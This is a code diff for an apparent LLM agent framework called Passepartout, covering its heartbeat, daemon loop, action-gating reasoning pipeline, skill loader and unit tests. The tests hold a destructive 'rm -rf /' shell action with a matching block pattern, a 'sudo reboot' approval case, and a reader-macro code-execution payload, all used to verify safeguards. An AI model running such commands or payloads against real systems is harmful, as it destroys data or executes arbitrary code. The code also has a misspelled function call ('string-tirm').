+          (bt:make-thread
+           (lambda ()
+             (loop
+               (sleep interval)
+               (incf *heartbeat-save-counter*)
+               (when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval))
+                 (setf *heartbeat-save-counter* 0)
+                 (save-memory-to-disk))
+               (stimulus-inject
+                  (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
+           :name "passepartout-heartbeat"))))
+
+(defvar *shutdown-save-enabled* t)
+
+(defvar *system-health* :unknown
+  "Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
+
+(defvar *health-check-ran* nil
+  "Flag indicating if initial health check has completed.")
+
+(defun diagnostics-startup-run ()
+  "Runs the doctor diagnostics on startup. Returns health status."
+  (format t "~%")
+  (format t "==================================================~%")
+  (format t " DOCTOR: Running Startup Health Check~%")
+  (format t "==================================================~%")
+  (handler-case
+      (progn
+         (when (fboundp 'diagnostics-run-all)
+           (let ((result (diagnostics-run-all :auto-install nil)))
+            (setf *health-check-ran* t)
+            (if result
+                (progn
+                  (setf *system-health* :healthy)
+                  (format t "DAEMON: Health check passed. Starting services.~%"))
+                (progn
+                  (setf *system-health* :degraded)
+                  (format t "DAEMON: Health check found issues.~%")
+                   (format t "         Run 'passepartout diagnostics' to repair.~%")))))
+        (setf *health-check-ran* t))
+    (error (c)
+       (format t "DIAGNOSTICS ERROR: ~a~%" c)
+      (setf *system-health* :unhealthy)
+      (setf *health-check-ran* t)))
+  (format t "==================================================~%~%"))
+
+(defun main ()
+  "Entry point for Passepartout. Initializes the system and enters idle loop."
+  (let* ((home (uiop:getenv "HOME"))
+         (env-file (uiop:merge-pathnames* ".config/passepartout/.env" (uiop:ensure-directory-pathname home))))
+    (when (uiop:file-exists-p env-file)
+      (cl-dotenv:load-env env-file)))
+
+  (load-memory-from-disk)
+  (actuator-initialize)
+  (skill-initialize-all)
+  
+  ;; Run proactive diagnostics before starting services
+  (diagnostics-startup-run)
+  
+  (when (fboundp 'events-start-heartbeat)
+    (events-start-heartbeat))
+  (start-daemon)
+
+  #+sbcl
+  (sb-sys:enable-interrupt sb-unix:sigint
+                            (lambda (sig code scp)
+                              (declare (ignore sig code scp))
+                              (log-message "SHUTDOWN: SIGINT received. Saving memory...")
+                              (when *shutdown-save-enabled* (save-memory-to-disk))
+                              (uiop:quit 0)))
+
+  (let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
+    (loop
+      (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
+        (log-message "SHUTDOWN: Interrupt flag set. Saving memory...")
+        (when *shutdown-save-enabled* (save-memory-to-disk))
+        (return))
+      (sleep sleep-interval))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-immune-system-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:immune-suite))
+
+(in-package :passepartout-immune-system-tests)
+
+(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
+(in-suite immune-suite)
+
+(test loop-error-injection
+  "Contract 1: a crash in think/decide triggers :loop-error stimulus."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout:defskill :evil-skill
+    :priority 100
+    :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
+    :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
+    :deterministic nil)
+  (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
+  (let ((logs (if (fboundp 'passepartout::context-get-system-logs)
+                  (passepartout:context-get-system-logs 20)
+                  nil)))
+    (is (or (null logs)  ; no log service available — degraded but not broken
+            (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
+
+(test test-process-signal-normal-path
+  "Contract 1: a valid signal passes through the pipeline without crash."
+  (clrhash passepartout::*skill-registry*)
+  (handler-case
+      (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
+        (process-signal signal)
+        (pass))
+    (error (c)
+      (fail "Pipeline crashed on normal signal: ~a" c))))
+
+(test test-loop-process-returns-nil-on-deep
+  "Contract 1: depth > 10 returns nil from loop-process."
+  (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
+    (is (null result))))

lisp/core-reason.lisp

@@ -0,0 +1,435 @@
+(in-package :passepartout)
+
+(defvar *probabilistic-backends* (make-hash-table :test 'equal)
+  "Maps provider keyword → handler function (prompt system-prompt &key model).")
+
+(defun register-probabilistic-backend (name fn)
+  "Register FN as the handler for provider NAME."
+  (setf (gethash name *probabilistic-backends*) fn))
+
+(defvar *backend-registry* (make-hash-table :test 'equal))
+
+(defvar *provider-cascade* nil)
+
+(defvar *model-selector* nil)
+
+(defvar *consensus-enabled* nil)
+
+(defun backend-register (name fn)
+  (setf (gethash name *backend-registry*) fn))
+
+(defun backend-cascade-call (prompt &key
+                                (system-prompt "You are the Probabilistic engine.")
+                                (cascade nil)
+                                (context nil)
+                                tools)
+  (let ((backends (or cascade *provider-cascade*))
+        (result nil))
+    (dolist (backend backends (or result
+                                   (list :type :LOG
+                                         :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
+      (let ((backend-fn (or (gethash backend *backend-registry*)
+                            (gethash backend *probabilistic-backends*))))
+        (when backend-fn
+          (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
+          (let* ((model (and *model-selector*
+                             (funcall *model-selector* backend context)))
+                 (skip (eq model :skip))
+                 (r (unless skip
+                      (apply backend-fn
+                             (append (list prompt system-prompt :model model)
+                                     (when tools (list :tools tools)))))))
+            (when skip
+              (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
+            (cond ((and (listp r) (eq (getf r :status) :success))
+                   (let ((tool-calls (getf r :tool-calls)))
+                     (if tool-calls
+                         (return (list :status :success :tool-calls tool-calls))
+                         (progn
+                           (setf result (getf r :content))
+                           (return result)))))
+                  ((stringp r)
+                   (setf result r)
+                   (return result))
+                   (t
+                    (log-message "PROBABILISTIC: Backend ~a failed: ~a"
+                                backend (getf r :message))))))))))
+
+(defun markdown-strip (text)
+  (if (and text (stringp text))
+      (let ((cleaned text))
+        (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
+        (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
+        (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
+        (string-trim '(#\Space #\Newline #\Tab) cleaned))
+      text))
+
+(defun plist-keywords-normalize (plist)
+  (when (listp plist)
+    (loop for (k v) on plist by #'cddr
+          collect (if (and (symbolp k) (not (keywordp k)))
+                       (intern (string k) :keyword)
+                       k)
+          collect v)))
+
+(defun think (context)
+  (let* ((sensor (proto-get (proto-get context :payload) :sensor))
+         (active-skill (find-triggered-skill context))
+         (tool-belt (generate-tool-belt-prompt))
+          (reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
+          (global-context (if (fboundp 'context-assemble-cached)
+                              (context-assemble-cached context sensor)
+                              (if (fboundp 'context-assemble-global-awareness)
+                                  (context-assemble-global-awareness)
+                                  "[Awareness skill not loaded]")))
+         (system-logs (if (fboundp 'context-get-system-logs)
+                          (context-get-system-logs)
+                          "[No system logs available]"))
+         (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
+         (rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
+         (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
+         (raw-prompt (if prompt-generator
+                         (funcall prompt-generator context)
+                         (let ((p (proto-get (proto-get context :payload) :text)))
+                           (if (and p (stringp p)) p "Maintain metabolic stasis."))))
+         (reflection-feedback (if rejection-trace
+                                  (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
+                                  ""))
+         (standing-mandates-text (let ((out ""))
+                                   (dolist (fn *standing-mandates*)
+                                     (let ((text (ignore-errors (funcall fn context))))
+                                       (when (and text (stringp text) (> (length text) 0))
+                                         (setf out (concatenate 'string out text (string #\Newline))))))
+                                   (when (> (length out) 0) out)))
+          (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
+                            (format-time-for-llm
+                             :session-duration-seconds (funcall (symbol-function 'session-duration)))
+                            (if (fboundp 'format-time-for-llm)
+                                (format-time-for-llm)
+                                "")))
+          (system-prompt (if (fboundp 'prompt-prefix-cached)
+                             ;; v0.5.0: cached prefix with optional budget enforcement
+                             (let* ((prefix (prompt-prefix-cached assistant-name reflection-feedback
+                                                                   standing-mandates-text tool-belt)))
+                               (if (fboundp 'enforce-token-budget)
+                                   (multiple-value-bind (pfx ctxt logs _ mandates)
+                                       (enforce-token-budget prefix global-context system-logs
+                                                             raw-prompt standing-mandates-text)
+                                     (declare (ignore _))
+                                     (setf standing-mandates-text mandates)
+                                     (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                             time-section pfx (or ctxt "") logs))
+                                   (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                           time-section prefix (or global-context "") system-logs)))
+                             ;; Fallback when token-economics not loaded
+                             (format nil "~a~%~%IDENTITY: ~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                     time-section
+                                     assistant-name reflection-feedback
+                                     (if standing-mandates-text
+                                         (concatenate 'string (string #\Newline) standing-mandates-text)
+                                         "")
+                                     tool-belt (or global-context "") system-logs))))
+    (let* ((thought (if (and reply-stream (fboundp 'cascade-stream))  ; v0.7.1: streaming
+                       (let ((acc (make-string-output-stream)))
+                         (funcall 'cascade-stream raw-prompt system-prompt
+                                  (lambda (delta)
+                                    (when reply-stream
+                                      (format reply-stream "~a"
+                                              (frame-message (list :type :stream-chunk
+                                                                   :payload (list :text delta))))
+                                      (finish-output reply-stream))
+                                    (write-string delta acc)))
+                         (get-output-stream-string acc))
+                       (backend-cascade-call raw-prompt
+                                             :system-prompt system-prompt
+                                             :context context)))
+           (tool-calls (and (listp thought) (getf thought :tool-calls))))
+      ;; v0.5.0: cost tracking after successful cascade
+      (when (and (fboundp 'cost-track-backend-call)
+                 (stringp thought)
+                 (or (null tool-calls)))
+        (ignore-errors
+          (cost-track-backend-call (first *provider-cascade*)
+                                   (format nil "~a~%~a" system-prompt raw-prompt)
+                                   thought)))
+      (if tool-calls
+          (let* ((first-call (car tool-calls))
+                 (tool-name (getf first-call :name))
+                 (args (getf first-call :arguments))
+                 (args-plist (json-alist-to-plist args)))
+            (list :TYPE :REQUEST
+                  :PAYLOAD (list* :TOOL tool-name
+                                  :ARGS args-plist
+                                  :EXPLANATION "Generated by function-calling engine.")))
+          (let* ((cleaned (if (and (listp thought) (getf thought :type))
+                             (format nil "~a" (getf (getf thought :payload) :text))
+                             (markdown-strip thought))))
+       (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
+           (handler-case
+                (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
+                  (if (listp parsed)
+                      (let ((normalized (plist-keywords-normalize parsed)))
+                        ;; Ensure explanation is present in the payload for policy gate
+                        (let ((payload (proto-get normalized :payload)))
+                          (if (and payload (proto-get payload :explanation))
+                              normalized
+                              (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
+                                                        (if (listp payload) payload nil))))
+                                (list* :PAYLOAD new-payload
+                                       (loop for (k v) on normalized by #'cddr
+                                             unless (eq k :PAYLOAD)
+                                             collect k collect v))))))
+                      (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
+             (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
+             (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
+
+(defun json-alist-to-plist (alist)
+  "Convert a JSON alist to a keyword-prefixed plist."
+  (when (listp alist)
+    (loop for (key . value) in alist
+          append (list (intern (string-upcase (string key)) :keyword)
+                       (if (listp value)
+                           (if (consp (car value))
+                               (json-alist-to-plist value)
+                               value)
+                           value)))))
+
+(defun cognitive-verify (proposed-action context)
+  "Runs all registered deterministic gates against the proposed action,
+sorted by priority (highest first). Returns a rejection plist or the action."
+  (let ((current-action (copy-tree proposed-action))
+        (approval-needed nil)
+        (approval-action nil)
+        (gates nil)
+        (gate-trace nil))
+    ;; Collect gates sorted by priority (highest first)
+    (maphash (lambda (name skill)
+               (declare (ignore name))
+               (when (skill-deterministic-fn skill)
+                 (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
+             *skill-registry*)
+    (setf gates (sort gates #'> :key #'car))
+    (dolist (gate-entry gates)
+      (let* ((gate-name (cadr gate-entry))
+             (result (funcall (cddr gate-entry) current-action context)))
+        (cond
+          ((eq (getf result :level) :approval-required)
+           (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
+           (setf approval-needed t
+                 approval-action (getf (getf result :payload) :action)))
+           ((member (getf result :type) '(:LOG :EVENT))
+            (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
+            (let ((blocked-result (copy-list result)))
+              (setf (getf blocked-result :gate-trace) (nreverse gate-trace))
+              (return-from cognitive-verify blocked-result)))
+          ((and (listp result) result)
+           (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
+           (setf current-action result)))))
+    (if approval-needed
+        (list :type :EVENT :level :approval-required
+              :gate-trace (nreverse gate-trace)
+              :payload (list :sensor :approval-required
+                             :action approval-action))
+        (let ((passed-result (copy-tree current-action)))
+          (setf (getf passed-result :gate-trace) (nreverse gate-trace))
+          passed-result))))
+
+(defun loop-gate-reason (signal)
+  (let* ((type (proto-get signal :type))
+         (payload (proto-get signal :payload))
+         (sensor (proto-get payload :sensor)))
+    (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
+      (return-from loop-gate-reason signal))
+    (let ((retries 3)
+          (current-signal (copy-tree signal))
+          (last-rejection nil))
+      (loop
+        (when (<= retries 0)
+          (setf (getf signal :approved-action) last-rejection)
+          (setf (getf signal :status) :reasoned)
+          (return signal))
+        (when last-rejection
+          (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
+        (let ((candidate (think current-signal)))
+           (if (and candidate (listp candidate))
+               (let ((verified (cognitive-verify candidate current-signal)))
+                 ;; Approval-required is not a rejection — pass to act for Flight Plan
+                 (if (eq (getf verified :level) :approval-required)
+                     (progn
+                       (setf (getf signal :approved-action) verified)
+                       (setf (getf signal :status) :requires-approval)
+                       (return signal))
+                     ;; Hard rejection: retry with feedback
+                     (if (member (getf verified :type) '(:LOG :EVENT))
+                         (progn (decf retries) (setf last-rejection verified))
+                         (progn
+                           (setf (getf signal :approved-action) verified)
+                           (setf (getf signal :status) :reasoned)
+                           (return signal)))))
+              (progn
+                (setf (getf signal :approved-action) nil)
+                (setf (getf signal :status) :reasoned)
+                (return signal))))))))
+
+(defun reason-gate (signal)
+  (loop-gate-reason signal))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-reason-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-reason-suite))
+
+(in-package :passepartout-pipeline-reason-tests)
+
+(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
+(in-suite pipeline-reason-suite)
+
+(test test-decide-gate-safety
+  "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-safety
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx))
+                    (if (search "rm -rf" (format nil "~s" action))
+                        (list :type :LOG :payload (list :text "Rejected"))
+                        action)))
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :LOG (getf result :type)))))
+
+(test test-cognitive-verify-pass-through
+  "Contract 1: safe actions pass through cognitive-verify unchanged."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-passthrough
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx))
+                    action))
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :REQUEST (getf result :type)))
+    (is (equal (getf candidate :payload) (getf result :payload)))
+    (is (getf result :gate-trace))))
+
+(test test-cognitive-verify-empty-registry
+  "Contract 1: with no gates registered, action passes through unchanged."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :REQUEST (getf result :type)))
+    (is (equal (getf candidate :payload) (getf result :payload)))))
+
+(test test-cognitive-verify-approval-required
+  "Contract 1: gate returning :approval-required produces an approval event."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-approval
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx))
+                    (list :type :EVENT :level :approval-required
+                          :payload (list :action action))))
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :approval-required (getf result :level)))
+    (is (eq :EVENT (getf result :type)))))
+
+(test test-loop-gate-reason-passthrough
+  "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
+  (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
+         (result (loop-gate-reason signal)))
+    (is (not (null result)))))
+
+(test test-loop-gate-reason-sets-status
+  "Contract 2: loop-gate-reason sets :status on :user-input signals."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((passepartout::*provider-cascade* nil)
+         (signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
+         (result (loop-gate-reason signal)))
+    (is (member (getf result :status) '(:reasoned :requires-approval)))))
+
+(test test-backend-cascade-no-backends
+  "Contract 4: empty cascade returns :LOG failure."
+  (let* ((passepartout::*provider-cascade* nil)
+         (passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
+         (result (backend-cascade-call "test" :cascade '())))
+    (is (eq :LOG (getf result :type)))
+    (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
+
+(test test-backend-cascade-with-mock
+  "Contract 4: backend-cascade-call returns content from first successful backend."
+  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
+    (setf (gethash :mock-backend passepartout::*backend-registry*)
+          (lambda (prompt sp &key model)
+            (declare (ignore prompt sp model))
+            (list :status :success :content "mock-response")))
+    (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
+      (is (string= "mock-response" result)))))
+
+(test test-read-eval-rce-blocked
+  "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
+  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+        (passepartout::*provider-cascade* '(:mock-evil)))
+    (setf (gethash :mock-evil passepartout::*backend-registry*)
+          (lambda (prompt sp &key model)
+            (declare (ignore prompt sp model))
+            (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
+    (setf passepartout::*v031-rce-test* nil)
+    (setf *read-eval* t)
+    (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
+           (result (passepartout::think ctx)))
+      (is (not (eq passepartout::*v031-rce-test* :PWNED)))
+      (is (eq :REQUEST (getf result :TYPE)))
+       (setf *read-eval* nil))))
+
+(test test-json-alist-to-plist-simple
+  "Contract 5: converts simple alist to keyword plist."
+  (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :ACTION (first result)))
+      (is (string= "shell" (second result)))
+      (is (eq :CMD (third result)))
+      (is (string= "echo hello" (fourth result))))))
+
+(test test-json-alist-to-plist-nested
+  "Contract 5: nested alists recurse into nested plists."
+  (let ((alist (list (cons "tool" "write-file")
+                     (cons "args" (list (cons "filepath" "/tmp/x")
+                                        (cons "content" "hi"))))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :TOOL (first result)))
+      (is (eq :ARGS (third result)))
+      (let ((inner (fourth result)))
+        (is (eq :FILEPATH (first inner)))
+        (is (string= "/tmp/x" (second inner)))
+        (is (eq :CONTENT (third inner)))))))
+
+(test test-json-alist-to-plist-array-passthrough
+  "Contract 5: JSON arrays pass through unchanged."
+  (let ((alist (list (cons "names" (list "alice" "bob")))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :NAMES (first result)))
+      (is (equal (list "alice" "bob") (second result))))))
+
+(test test-json-alist-to-plist-null
+  "Contract 5: nil passes through unchanged."
+  (let ((result (json-alist-to-plist nil)))
+    (is (null result))))
+
+(test test-json-alist-to-plist-scalar
+  "Contract 5: scalar values pass through."
+  (let ((alist (list (cons "count" 42) (cons "active" :true))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :COUNT (first result)))
+      (is (= 42 (second result)))
+      (is (eq :ACTIVE (third result)))
+      (is (eq :true (fourth result))))))

lisp/core-skills.lisp

@@ -0,0 +1,337 @@
+(in-package :passepartout)
+
+(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
+
+(defun vector-cosine-similarity (v1 v2)
+  "Computes cosine similarity between two vectors."
+  (let* ((len1 (length v1)) (len2 (length v2)))
+    (if (or (zerop len1) (zerop len2))
+        0.0
+        (let* ((dot 0.0d0) (n1 0.0d0) (n2 0.0d0))
+          (dotimes (i (min len1 len2))
+            (let* ((x (coerce (elt v1 i) 'double-float)) (y (coerce (elt v2 i) 'double-float)))
+              (incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y))))
+          (if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2))))))))
+
+(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
+
+(defvar *skill-registry* (make-hash-table :test 'equal))
+
+(defvar *skill-catalog* (make-hash-table :test 'equal)
+  "Tracks all discovered skill files and their loading state.")
+
+(defvar *standing-mandates* nil
+  "List of functions (context) → string-or-nil. Each is called on every think() cycle.
+When non-nil, the returned string is injected into the IDENTITY section of the system prompt.
+Unlike skills (which activate on triggers), standing mandates are always consulted.")
+
+(defstruct skill-entry filename (status :discovered) error-log (load-time 0))
+
+;; Alias: find-triggered-skill → skill-triggered-find
+(defun find-triggered-skill (context)
+  (skill-triggered-find context))
+
+(defun skill-triggered-find (context)
+  "Returns the highest priority skill whose trigger matches context."
+  (let ((triggered nil))
+    (maphash (lambda (name skill) 
+               (declare (ignore name)) 
+               (when (and (skill-probabilistic-prompt skill)
+                          (ignore-errors (funcall (skill-trigger-fn skill) context)))
+                 (push skill triggered))) 
+               *skill-registry*)
+    (first (sort triggered #'> :key #'skill-priority))))
+
+(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic)
+  "Registers a new skill. NAME is a keyword. TRIGGER is a function (context) → bool."
+  `(setf (gethash (string-downcase (string ,name)) *skill-registry*)
+         (make-skill :name (string-downcase (string ,name)) 
+                    :priority (or ,priority 10) 
+                    :dependencies ',dependencies
+                    :trigger-fn ,trigger 
+                    :probabilistic-prompt ,probabilistic 
+                    :deterministic-fn ,deterministic)))
+
+(defun skill-dependencies-resolve (skill-name)
+  "Resolves transitive dependencies. Returns list of skill names in dependency order."
+  (let ((resolved nil) (seen nil))
+    (labels ((visit (name) 
+               (unless (member name seen :test #'equal) 
+                 (push name seen)
+                 (let ((skill (gethash (string-downcase (string name)) *skill-registry*)))
+                   (when skill 
+                     (dolist (dep (skill-dependencies skill)) (visit dep))))
+                 (push name resolved))))
+      (visit skill-name) 
+      (nreverse resolved))))
+
+(defun skill-metadata-parse (filepath)
+  "Extracts ID and DEPENDS_ON tags from org file."
+  (let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath)))
+    (let ((id-start (search ":ID:" content)))
+      (when id-start
+        (let ((id-end (position #\Newline content :start id-start)))
+          (when id-end (setf id (string-trim " " (subseq content (+ id-start 4) id-end)))))))
+    (let ((pos 0))
+      (loop while (setf pos (search "#+DEPENDS_ON:" content :start2 pos))
+            do (let ((end (position #\Newline content :start pos)))
+              (when end
+                (let ((line (string-trim " " (subseq content (+ pos 13) end))))
+                  (dolist (d (uiop:split-string line :separator '(#\Space #\Tab)))
+                    (unless (string= d "") (push d dependencies))))
+                (setf pos end)))))
+    (values id (reverse dependencies))))
+
+(defun skill-topological-sort (skills-dir)
+  "Returns a list of skill filepaths sorted by dependency."
+  (let* ((org-files (uiop:directory-files skills-dir "*.org"))
+         (lisp-files (uiop:directory-files skills-dir "*.lisp"))
+         (all-files (append org-files lisp-files))
+         (files (remove-if (lambda (f)
+                             (let ((n (pathname-name f)))
+                                (or (string= n "core-package")
+                                    (string= n "core-skills")
+                                    (string= n "core-transport")
+                                    (string= n "core-memory")
+                                    (string= n "core-perceive")
+                                    (string= n "core-reason")
+                                    (string= n "core-act")
+                                    (string= n "core-pipeline")
+                                    (string= n "core-manifest")
+                                    (string= n "neuro-router")
+                                    (string= n "neuro-explorer")
+                                    (string= n "channel-tui"))))
+                           all-files))
+        (adj (make-hash-table :test 'equal))
+        (name-to-file (make-hash-table :test 'equal))
+        (id-to-file (make-hash-table :test 'equal))
+        (result nil)
+        (visited (make-hash-table :test 'equal))
+        (stack (make-hash-table :test 'equal)))
+    (dolist (file files)
+      (let ((filename (pathname-name file)))
+        (if (uiop:string-suffix-p (namestring file) ".lisp")
+            (progn
+              (setf (gethash (string-downcase filename) name-to-file) file)
+              (unless (gethash (string-downcase filename) adj)
+                (setf (gethash (string-downcase filename) adj) nil)))
+            (multiple-value-bind (id deps) (skill-metadata-parse file)
+              (setf (gethash (string-downcase filename) name-to-file) file)
+              (when id (setf (gethash (string-downcase id) id-to-file) file))
+              (setf (gethash (string-downcase filename) adj) deps)))))
+    (labels ((visit (file)
+               (let* ((filename (pathname-name file))
+                      (node-key (string-downcase filename)))
+                 (unless (gethash node-key visited)
+                   (setf (gethash node-key stack) t)
+                   (dolist (dep (gethash node-key adj))
+                     (let* ((is-id-p (uiop:string-prefix-p "id:" (string-downcase dep)))
+                            (dep-key (string-downcase (if is-id-p (subseq dep 3) dep)))
+                            (dep-file (if is-id-p 
+                                          (gethash dep-key id-to-file)
+                                          (or (gethash dep-key id-to-file)
+                                              (gethash dep-key name-to-file)))))
+                       (when dep-file
+                         (let ((dep-filename (pathname-name dep-file)))
+                           (if (gethash (string-downcase dep-filename) stack)
+                               (error "Circular dependency detected")
+                               (visit dep-file))))))
+                   (setf (gethash node-key stack) nil)
+                   (setf (gethash node-key visited) t)
+                   (push file result)))))
+      (let ((filenames (sort (mapcar #'pathname-name files) #'string<)))
+        (dolist (name filenames)
+          (let ((file (gethash (string-downcase name) name-to-file)))
+            (when file (visit file)))))
+      (nreverse result))))
+
+(defun lisp-syntax-validate (code-string)
+  "Checks if a string contains valid Common Lisp forms."
+  (handler-case
+      (let ((*read-eval* nil))
+        (with-input-from-string (s (format nil "(progn ~a)" code-string))
+          (loop for form = (read s nil :eof) until (eq form :eof)))
+        (values t nil))
+    (error (c) (values nil (format nil "~a" c)))))
+
+(defun skill-package-forms-strip (code-string)
+  "Removes (in-package :passepartout) forms only — preserves test-package
+declarations so embedded test code evaluates in the correct package."
+  (let ((lines (uiop:split-string code-string :separator '(#\Newline)))
+        (result ""))
+    (dolist (line lines)
+      (let ((trimmed (string-trim '(#\Space #\Tab) line)))
+        (if (uiop:string-prefix-p "(in-package :passepartout)" trimmed)
+            (setf result (concatenate 'string result (string #\Newline)))
+            (setf result (concatenate 'string result line (string #\Newline))))))
+    result))
+
+(defun tangle-target-extract (line)
+  "Extracts the value of the :tangle header."
+  (let ((pos (search ":tangle" line)))
+    (when pos
+      (let ((rest (string-tirm '(#\Space #\Tab) (subseq line (+ pos 7)))))
+        (let ((end (position #\Space rest)))
+          (if end (subseq rest 0 end) rest))))))
+
+(defun load-skill-from-org (filepath)
+  "Parses and evaluates Lisp blocks from an Org file."
+  (let* ((skill-base-name (pathname-name filepath))
+         (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
+    (setf (skill-entry-status entry) :loading)
+    (handler-case
+        (let* ((content (uiop:read-file-string filepath))
+               (lines (uiop:split-string content :separator '(#\Newline)))
+               (in-lisp-block nil) (collect-this-block nil) (lisp-code "")
+               (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
+          (dolist (line lines)
+            (let ((clean-line (string-trim '(#\Space #\Tab #\Return) line)))
+              (cond
+                ((uiop:string-prefix-p "#+begin_src lisp" clean-line)
+                 (setf in-lisp-block t)
+                 (let ((target (tangle-target-extract clean-line)))
+                   (setf collect-this-block (or (null target)
+                                                (and (not (search "no" target))
+                                                     (not (search "/tests" target)))))))
+                ((uiop:string-prefix-p "#+end_src" clean-line)
+                 (setf in-lisp-block nil) (setf collect-this-block nil))
+                ((and in-lisp-block collect-this-block)
